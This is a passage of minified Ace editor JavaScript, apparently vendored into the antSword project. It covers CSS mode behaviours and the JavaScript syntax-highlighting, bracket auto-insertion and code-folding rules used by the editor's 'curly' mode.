r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-curly.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 